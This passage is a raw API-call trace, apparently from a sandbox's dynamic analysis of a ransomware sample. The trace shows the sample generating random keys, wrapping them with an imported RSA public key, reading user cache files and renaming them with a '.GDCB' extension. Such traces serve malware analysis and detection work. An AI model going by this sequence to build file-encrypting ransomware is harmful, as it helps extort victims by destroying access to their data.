(hProv=0x5c4980, dwFlags=0x0) returned 1 [0289.719] CryptAcquireContextW (in: phProv=0x285ded4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ded4*=0x5c4e48) returned 1 [0289.722] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ded8 | out: phKey=0x285ded8*=0x67a8cf0) returned 1 [0289.722] CryptGetKeyParam (in: hKey=0x67a8cf0, dwParam=0x8, pbData=0x285dec4, pdwDataLen=0x285decc, dwFlags=0x0 | out: pbData=0x285dec4*=0x800, pdwDataLen=0x285decc*=0x4) returned 1 [0289.722] CryptEncrypt (in: hKey=0x67a8cf0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd410000*, pdwDataLen=0x285e050*=0xc8, dwBufLen=0x800 | out: pbData=0xd410000*, pdwDataLen=0x285e050*=0x100) returned 1 [0289.722] GetLastError () returned 0x0 [0289.722] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0289.722] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCache\\counters.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcache\\counters.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0289.767] CryptAcquireContextW (in: phProv=0x285dee4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dee4*=0x5c4760) returned 1 [0289.771] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0289.774] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0289.775] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285e034 | out: pbBuffer=0x285e034) returned 1 [0289.775] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0289.775] CryptAcquireContextW (in: phProv=0x285dee4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dee4*=0x5c4760) returned 1 [0289.778] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0289.781] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0289.781] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285e000 | out: pbBuffer=0x285e000) returned 1 [0289.781] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0289.781] CryptAcquireContextW (in: phProv=0x285ded4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ded4*=0x5c4760) returned 1 [0289.784] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ded8 | out: phKey=0x285ded8*=0x67a92f0) returned 1 [0289.784] CryptGetKeyParam (in: hKey=0x67a92f0, dwParam=0x8, pbData=0x285dec4, pdwDataLen=0x285decc, dwFlags=0x0 | out: pbData=0x285dec4*=0x800, pdwDataLen=0x285decc*=0x4) returned 1 [0289.784] CryptEncrypt (in: hKey=0x67a92f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd420000*, pdwDataLen=0x285e04c*=0xc8, dwBufLen=0x800 | out: pbData=0xd420000*, pdwDataLen=0x285e04c*=0x100) returned 1 [0289.785] GetLastError () returned 0x0 [0289.785] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0289.785] CryptAcquireContextW (in: phProv=0x285ded4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ded4*=0x5c4760) returned 1 [0289.787] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ded8 | out: phKey=0x285ded8*=0x67aa030) returned 1 [0289.787] CryptGetKeyParam (in: hKey=0x67aa030, dwParam=0x8, pbData=0x285dec4, pdwDataLen=0x285decc, dwFlags=0x0 | out: pbData=0x285dec4*=0x800, pdwDataLen=0x285decc*=0x4) returned 1 [0289.787] CryptEncrypt (in: hKey=0x67aa030, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd430000*, pdwDataLen=0x285e050*=0xc8, dwBufLen=0x800 | out: pbData=0xd430000*, pdwDataLen=0x285e050*=0x100) returned 1 [0289.787] GetLastError () returned 0x0 [0289.787] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0289.787] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\appdb.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\appdb.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0289.824] CryptAcquireContextW (in: phProv=0x285d9d4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d9d4*=0x5c4e48) returned 1 [0289.827] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0289.829] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0289.829] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285db24 | out: pbBuffer=0x285db24) returned 1 [0289.830] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0289.830] CryptAcquireContextW (in: phProv=0x285d9d4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d9d4*=0x5c4760) returned 1 [0289.832] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0289.834] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0289.834] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285daf0 | out: pbBuffer=0x285daf0) returned 1 [0289.834] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0289.835] CryptAcquireContextW (in: phProv=0x285d9c4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d9c4*=0x5c4e48) returned 1 [0289.837] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d9c8 | out: phKey=0x285d9c8*=0x67aa070) returned 1 [0289.837] CryptGetKeyParam (in: hKey=0x67aa070, dwParam=0x8, pbData=0x285d9b4, pdwDataLen=0x285d9bc, dwFlags=0x0 | out: pbData=0x285d9b4*=0x800, pdwDataLen=0x285d9bc*=0x4) returned 1 [0289.837] CryptEncrypt (in: hKey=0x67aa070, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd440000*, pdwDataLen=0x285db3c*=0xc8, dwBufLen=0x800 | out: pbData=0xd440000*, pdwDataLen=0x285db3c*=0x100) returned 1 [0289.838] GetLastError () returned 0x0 [0289.838] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0289.838] CryptAcquireContextW (in: phProv=0x285d9c4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d9c4*=0x5c4e48) returned 1 [0289.840] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d9c8 | out: phKey=0x285d9c8*=0x67a9ab0) returned 1 [0289.840] CryptGetKeyParam (in: hKey=0x67a9ab0, dwParam=0x8, pbData=0x285d9b4, pdwDataLen=0x285d9bc, dwFlags=0x0 | out: pbData=0x285d9b4*=0x800, pdwDataLen=0x285d9bc*=0x4) returned 1 [0289.840] CryptEncrypt (in: hKey=0x67a9ab0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd450000*, pdwDataLen=0x285db40*=0xc8, dwBufLen=0x800 | out: pbData=0xd450000*, pdwDataLen=0x285db40*=0x100) returned 1 [0289.840] GetLastError () returned 0x0 [0289.840] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0289.840] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\Microsoft.AAD.BrokerPlugin_1000.10240.16384.0_neutral_neutral_cw5n1h2txyewy\\3779757838\\1034590242.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\microsoft.aad.brokerplugin_1000.10240.16384.0_neutral_neutral_cw5n1h2txyewy\\3779757838\\1034590242.pri"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x508 [0289.841] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xd460000 [0289.845] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xd470000 [0289.848] ReadFile (in: hFile=0x508, lpBuffer=0xd470000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285db80, lpOverlapped=0x0 | out: lpBuffer=0xd470000*, lpNumberOfBytesRead=0x285db80*=0x728, lpOverlapped=0x0) returned 1 [0289.868] VirtualAlloc (lpAddress=0x0, dwSize=0x730, flAllocationType=0x3000, flProtect=0x4) returned 0xd580000 [0289.876] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\Microsoft.AAD.BrokerPlugin_1000.10240.16384.0_neutral_neutral_cw5n1h2txyewy\\3779757838\\1034590242.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\microsoft.aad.brokerplugin_1000.10240.16384.0_neutral_neutral_cw5n1h2txyewy\\3779757838\\1034590242.pri"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\Microsoft.AAD.BrokerPlugin_1000.10240.16384.0_neutral_neutral_cw5n1h2txyewy\\3779757838\\1034590242.pri.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\microsoft.aad.brokerplugin_1000.10240.16384.0_neutral_neutral_cw5n1h2txyewy\\3779757838\\1034590242.pri.gdcb")) returned 1 [0289.882] CryptAcquireContextW (in: phProv=0x285d9d4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d9d4*=0x5c4e48) returned 1 [0289.885] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0289.888] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0289.888] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285db24 | out: pbBuffer=0x285db24) returned 1 [0289.888] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0289.888] CryptAcquireContextW (in: phProv=0x285d9d4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d9d4*=0x5c4980) returned 1 [0289.890] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0289.893] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0289.893] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285daf0 | out: pbBuffer=0x285daf0) returned 1 [0289.893] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0289.893] CryptAcquireContextW (in: phProv=0x285d9c4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d9c4*=0x5c4760) returned 1 [0289.896] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d9c8 | out: phKey=0x285d9c8*=0x67a9b70) returned 1 [0289.896] CryptGetKeyParam (in: hKey=0x67a9b70, dwParam=0x8, pbData=0x285d9b4, pdwDataLen=0x285d9bc, dwFlags=0x0 | out: pbData=0x285d9b4*=0x800, pdwDataLen=0x285d9bc*=0x4) returned 1 [0289.896] CryptEncrypt (in: hKey=0x67a9b70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd440000*, pdwDataLen=0x285db3c*=0xc8, dwBufLen=0x800 | out: pbData=0xd440000*, pdwDataLen=0x285db3c*=0x100) returned 1 [0289.896] GetLastError () returned 0x0 [0289.896] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0289.896] CryptAcquireContextW (in: phProv=0x285d9c4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d9c4*=0x5c4760) returned 1 [0289.898] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d9c8 | out: phKey=0x285d9c8*=0x67a9b30) returned 1 [0289.898] CryptGetKeyParam (in: hKey=0x67a9b30, dwParam=0x8, pbData=0x285d9b4, pdwDataLen=0x285d9bc, dwFlags=0x0 | out: pbData=0x285d9b4*=0x800, pdwDataLen=0x285d9bc*=0x4) returned 1 [0289.898] CryptEncrypt (in: hKey=0x67a9b30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd450000*, pdwDataLen=0x285db40*=0xc8, dwBufLen=0x800 | out: pbData=0xd450000*, pdwDataLen=0x285db40*=0x100) returned 1 [0289.899] GetLastError () returned 0x0 [0289.899] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0289.899] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\Microsoft.AccountsControl_10.0.10240.16384_neutral__cw5n1h2txyewy\\3053798886\\3825186184.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\microsoft.accountscontrol_10.0.10240.16384_neutral__cw5n1h2txyewy\\3053798886\\3825186184.pri"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x508 [0289.900] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xd460000 [0289.904] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xd470000 [0289.906] ReadFile (in: hFile=0x508, lpBuffer=0xd470000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285db80, lpOverlapped=0x0 | out: lpBuffer=0xd470000*, lpNumberOfBytesRead=0x285db80*=0x3e20, lpOverlapped=0x0) returned 1 [0289.915] VirtualAlloc (lpAddress=0x0, dwSize=0x3e20, flAllocationType=0x3000, flProtect=0x4) returned 0xd580000 [0289.921] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\Microsoft.AccountsControl_10.0.10240.16384_neutral__cw5n1h2txyewy\\3053798886\\3825186184.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\microsoft.accountscontrol_10.0.10240.16384_neutral__cw5n1h2txyewy\\3053798886\\3825186184.pri"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\Microsoft.AccountsControl_10.0.10240.16384_neutral__cw5n1h2txyewy\\3053798886\\3825186184.pri.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\microsoft.accountscontrol_10.0.10240.16384_neutral__cw5n1h2txyewy\\3053798886\\3825186184.pri.gdcb")) returned 1 [0289.934] CryptAcquireContextW (in: phProv=0x285d9d4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d9d4*=0x5c4980) returned 1 [0289.938] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0289.940] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0289.940] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285db24 | out: pbBuffer=0x285db24) returned 1 [0289.940] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0289.940] CryptAcquireContextW (in: phProv=0x285d9d4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d9d4*=0x5c4e48) returned 1 [0289.943] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0289.945] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0289.945] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285daf0 | out: pbBuffer=0x285daf0) returned 1 [0289.945] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0289.945] CryptAcquireContextW (in: phProv=0x285d9c4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d9c4*=0x5c4e48) returned 1 [0289.948] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d9c8 | out: phKey=0x285d9c8*=0x67a9c70) returned 1 [0289.948] CryptGetKeyParam (in: hKey=0x67a9c70, dwParam=0x8, pbData=0x285d9b4, pdwDataLen=0x285d9bc, dwFlags=0x0 | out: pbData=0x285d9b4*=0x800, pdwDataLen=0x285d9bc*=0x4) returned 1 [0289.948] CryptEncrypt (in: hKey=0x67a9c70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd440000*, pdwDataLen=0x285db3c*=0xc8, dwBufLen=0x800 | out: pbData=0xd440000*, pdwDataLen=0x285db3c*=0x100) returned 1 [0289.948] GetLastError () returned 0x0 [0289.948] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0289.948] CryptAcquireContextW (in: phProv=0x285d9c4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d9c4*=0x5c4760) returned 1 [0289.950] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d9c8 | out: phKey=0x285d9c8*=0x67a98f0) returned 1 [0289.950] CryptGetKeyParam (in: hKey=0x67a98f0, dwParam=0x8, pbData=0x285d9b4, pdwDataLen=0x285d9bc, dwFlags=0x0 | out: pbData=0x285d9b4*=0x800, pdwDataLen=0x285d9bc*=0x4) returned 1 [0289.950] CryptEncrypt (in: hKey=0x67a98f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd450000*, pdwDataLen=0x285db40*=0xc8, dwBufLen=0x800 | out: pbData=0xd450000*, pdwDataLen=0x285db40*=0x100) returned 1 [0289.950] GetLastError () returned 0x0 [0289.950] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0289.950] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\Microsoft.Windows.AssignedAccessLockApp_1000.10240.16384.0_neutral_neutral_cw5n1h2txyewy\\226732975\\2698495915.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\microsoft.windows.assignedaccesslockapp_1000.10240.16384.0_neutral_neutral_cw5n1h2txyewy\\226732975\\2698495915.pri"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0289.962] CryptAcquireContextW (in: phProv=0x285d9d4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d9d4*=0x5c4e48) returned 1 [0289.965] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0289.968] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0289.968] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285db24 | out: pbBuffer=0x285db24) returned 1 [0289.968] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0289.968] CryptAcquireContextW (in: phProv=0x285d9d4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d9d4*=0x5c4760) returned 1 [0289.971] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0289.973] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0289.973] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285daf0 | out: pbBuffer=0x285daf0) returned 1 [0289.973] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0289.973] CryptAcquireContextW (in: phProv=0x285d9c4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d9c4*=0x5c4e48) returned 1 [0289.976] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d9c8 | out: phKey=0x285d9c8*=0x67a9af0) returned 1 [0289.976] CryptGetKeyParam (in: hKey=0x67a9af0, dwParam=0x8, pbData=0x285d9b4, pdwDataLen=0x285d9bc, dwFlags=0x0 | out: pbData=0x285d9b4*=0x800, pdwDataLen=0x285d9bc*=0x4) returned 1 [0289.976] CryptEncrypt (in: hKey=0x67a9af0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd460000*, pdwDataLen=0x285db3c*=0xc8, dwBufLen=0x800 | out: pbData=0xd460000*, pdwDataLen=0x285db3c*=0x100) returned 1 [0289.976] GetLastError () returned 0x0 [0289.976] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0289.976] CryptAcquireContextW (in: phProv=0x285d9c4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d9c4*=0x5c4e48) returned 1 [0289.978] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d9c8 | out: phKey=0x285d9c8*=0x67a9e70) returned 1 [0289.978] CryptGetKeyParam (in: hKey=0x67a9e70, dwParam=0x8, pbData=0x285d9b4, pdwDataLen=0x285d9bc, dwFlags=0x0 | out: pbData=0x285d9b4*=0x800, pdwDataLen=0x285d9bc*=0x4) returned 1 [0289.978] CryptEncrypt (in: hKey=0x67a9e70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd470000*, pdwDataLen=0x285db40*=0xc8, dwBufLen=0x800 | out: pbData=0xd470000*, pdwDataLen=0x285db40*=0x100) returned 1 [0289.978] GetLastError () returned 0x0 [0289.978] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0289.978] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\Microsoft.Windows.CloudExperienceHost_10.0.10240.16384_neutral_neutral_cw5n1h2txyewy\\3705566220\\624664733.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\microsoft.windows.cloudexperiencehost_10.0.10240.16384_neutral_neutral_cw5n1h2txyewy\\3705566220\\624664733.pri"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x508 [0289.979] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xd480000 [0289.982] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xd490000 [0289.985] ReadFile (in: hFile=0x508, lpBuffer=0xd490000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285db80, lpOverlapped=0x0 | out: lpBuffer=0xd490000*, lpNumberOfBytesRead=0x285db80*=0x1fc8, lpOverlapped=0x0) returned 1 [0289.994] VirtualAlloc (lpAddress=0x0, dwSize=0x1fd0, flAllocationType=0x3000, flProtect=0x4) returned 0xd5a0000 [0290.000] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\Microsoft.Windows.CloudExperienceHost_10.0.10240.16384_neutral_neutral_cw5n1h2txyewy\\3705566220\\624664733.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\microsoft.windows.cloudexperiencehost_10.0.10240.16384_neutral_neutral_cw5n1h2txyewy\\3705566220\\624664733.pri"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\Microsoft.Windows.CloudExperienceHost_10.0.10240.16384_neutral_neutral_cw5n1h2txyewy\\3705566220\\624664733.pri.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\microsoft.windows.cloudexperiencehost_10.0.10240.16384_neutral_neutral_cw5n1h2txyewy\\3705566220\\624664733.pri.gdcb")) returned 0 [0290.005] CryptAcquireContextW (in: phProv=0x285d9d4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d9d4*=0x5c4760) returned 1 [0290.008] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0290.011] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0290.011] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285db24 | out: pbBuffer=0x285db24) returned 1 [0290.011] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0290.011] CryptAcquireContextW (in: phProv=0x285d9d4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d9d4*=0x5c4760) returned 1 [0290.014] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0290.016] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0290.016] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285daf0 | out: pbBuffer=0x285daf0) returned 1 [0290.016] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0290.016] CryptAcquireContextW (in: phProv=0x285d9c4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d9c4*=0x5c4e48) returned 1 [0290.019] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d9c8 | out: phKey=0x285d9c8*=0x67a9db0) returned 1 [0290.019] CryptGetKeyParam (in: hKey=0x67a9db0, dwParam=0x8, pbData=0x285d9b4, pdwDataLen=0x285d9bc, dwFlags=0x0 | out: pbData=0x285d9b4*=0x800, pdwDataLen=0x285d9bc*=0x4) returned 1 [0290.019] CryptEncrypt (in: hKey=0x67a9db0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd460000*, 